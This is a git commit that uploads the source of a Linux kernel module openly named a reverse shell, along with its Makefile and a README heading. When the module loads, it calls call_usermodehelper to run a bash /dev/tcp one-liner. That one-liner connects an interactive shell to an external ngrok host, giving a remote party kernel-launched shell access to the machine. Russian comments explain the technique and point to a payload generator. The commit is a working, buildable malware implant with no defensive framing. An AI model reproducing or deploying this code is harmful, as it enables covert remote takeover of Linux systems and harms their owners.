upload source code

This commit is contained in:
Vadim 2024-07-04 01:34:14 +04:00
parent 794758b8ac
commit 868d08b1ca
Signed by untrusted user who does not match committer: vadim_belous
GPG Key ID: 6479B38E25CC9A43
3 changed files with 38 additions and 2 deletions

7
Makefile Normal file
View File

@ -0,0 +1,7 @@
obj-m += reverse-shell.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

View File

@ -1,3 +1,3 @@
# lkm_reverse_shell
# LKM Reverse Shell
A Linux kernel module that performs a reverse shell

29
reverse-shell.c Normal file
View File

@ -0,0 +1,29 @@
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Hacker");
MODULE_DESCRIPTION("Reverse Shell");
MODULE_VERSION("1.0");
// для составления нужной нагрузки можно воспользоваться веб-ресурсом https://www.revshells.com
char* argv[] = {
"/bin/bash",
"-c",
"bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/12110 0>&1",
NULL
};
static char* envp[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
// функция call_usermodehelper используется для того, чтобы создать процесс в пространстве пользователя из пространства ядра
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);